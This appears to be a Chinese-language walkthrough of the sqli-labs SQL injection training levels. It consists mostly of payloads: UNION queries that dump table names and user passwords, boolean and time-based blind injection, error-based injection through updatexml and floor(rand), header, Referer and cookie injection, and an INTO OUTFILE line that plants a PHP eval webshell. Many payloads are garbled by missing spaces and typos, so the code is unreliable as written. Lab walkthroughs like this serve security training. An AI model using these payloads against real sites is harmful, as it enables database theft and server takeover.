You have an error in your SQL syntax; check the manual that corresponds to your MySQL serverversionfor the right syntax touse near ''1''LIMIT0,1' at line 1
这里我们就可以直接发现报错的地方,直接将后面注释,然后使用
1 2 3 4 5 6 7 8 9 10
1' order by 3%23 //得到列数为3
//这里用-1是为了查询一个不存在的id,好让第一句结果为空,直接显示第二句的结果 -1' union select1,2,group_concat(schema_name) from information_schema.schemata%23 //得到数据库名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'# //得到表名 -1'unionselect1,group_concat(column_name),3from information_schema.columns where table_name= 'users'# //得到列名
-1' union select 1,username,password from users where id=3# //爆破得到数据
Less-2
在添加’之后,得到返回
1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL serverversionfor the right syntax touse near ''LIMIT0,1' at line 1
可以得到这个sql语句其实并没有单引号,只是用数字进行查询,例如
1
select * from users where id=1
所以我们也可以跟上面一样,payloads:
1
-1 or 1=1%23
Less-3
添加’之后,返回
1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL serverversionfor the right syntax touse near ''1'') LIMIT0,1' at line 1
可以得到大概的sql语句:
1
select * fromuserswhereid=('input') LIMIT0,1;
所以我们可以需要闭合)。
1
-1') or 1=1%23
Less-4
尝试’并未发现报错,尝试”发现报错
1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server versionfortheright syntax to use near '"1"") LIMIT 0,1'atline1
可以得到大概的sql语句
1
select * fromuserswhereid = ("input") LIMIT0,1;
所以payload:
1
-1") or 1=1 %23
其他注入语句同上 ,就不再一一列举了。
Less-5
尝试’发现报错
1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL serverversionfor the right syntax touse near ''1''LIMIT0,1' at line 1
猜测sql语句为
1
select * fromuserswhereid='input'LIMIT0,1;
如果尝试之前的注入方法,会发现不再会返回我们注入的信息,如果注入成功的话,页面会返回You are in...,出错的话就不会返回这个字符串,所以这里我们可以进行盲注。
使用left()
例如我们可以使用1' and left(version(),1)=3%23这个payload进行测试,截取version()得到的最左侧的字符判断是否为3,如果为3则正常返回You are in...,否则不返回。所以我们可以利用这个一步一步爆破得到left(version(),1)=5。爆破区间可以确定在/[0-9.]/。
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit0,1),1,1))>80%23 //截取数据库下第一个表的第一个字符与80ascii值进行对比
找第二个字符只需要改成substr('xxx',2,1)即可。 找第二个表改成limit1,1
使用regexp()
1 2
1' and 1=(select1from information_schema.columns where table_name='users'and column_name regexp '^us[a-z]'limit0,1;)%23 //users表中的列名是否有us**的列
1' union Select1,count(*),concat(0x3a,0x3a,(selectuser()),0 x3a,0x3a,floor(rand(0)*2))a from information_schema.columns groupby a--+
1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x# 1'unionselect (!(select * from (selectuser())x) - ~0),2,3--+
1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ 1'and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+
1' union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+
1'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+
Less-8
可以使用时间盲注,也可以用 bool 盲注
1
1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
Less-9
同 Less-8 可以使用时间盲注
1
1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
Less-10
1
1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
Less-11
报错注入,少一列就行了
1 2 3
1' union Selectcount(*),concat(0x3a,0x3a,(selectgroup_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata groupby a#
1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#
Less-12
1 2 3
1") union Selectcount(*),concat(0x3a,0x3a,(selectgroup_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata groupby a#
1") union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#
Less-13
1
1') or 1=1#
成功登录,报错注入成功但是不回显,可以考虑盲注
1
1') or ascii(substr((database()),1,1))>100#
Less-14
1
1" or 1=1#
成功登录,依然不能回显,尝试使用布尔盲注
1
1" or left(database(),1)='s'#
发现可以用updatexml进行报错注入
1
1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
Less-15
1
1' or 1=1#
成功登录,布尔注入或者时间盲注均可行
1 2
1' or left(database(),1)='s'# admin' and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
Less-16
1
1") or 1=1#
成功登录,布尔注入或者时间盲注均可行
1 2
1") or left(database(),1)='s'# admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
Less-17
update注入,username过滤了很多,有password错误回显,考虑用报错注入
1
1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
Less-18
登录成功后,页面提示
1 2
Your IP ADDRESS is: 172.17.0.1 Your User Agent is: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
那么有可能是 ip 或者 UA 注入,看了一下发现是个 Header 头注入,这里需要注意这是登录成功的条件下才能触发的,而且既然是insert注入,需要用'1'='1闭合后面的 sql 语句,否则就是语法错误了
1 2
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and'1'='1 'and updatexml(1,concat(0x7e,(select @@version),0x7e),1),"1","1")#
Less-19
登录成功后提示
1 2
Your IP ADDRESS is:172.17.0.1 Your Referer is:http://localhost:8081/Less-19/
于是我们可以知道是在Referer应该有注入点,在 Referer 处同样用
1
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and'1'='1
可以注入
Less-20
cookie 注入,登录成功后修改 cookie 即可
1
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and'1'='1
sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5)) sort=(select if(substring(current,1,1)=char(115),benchmatrk(5000000,md5('1')),null) from (select database() as current) as tb1)
Bool 盲注
1
rand(ascii(left(database()),1))=115)
报错注入:
1 2
updatexml(1,if(1=1,concat(0x7e,version()),2),1) (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+ 1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+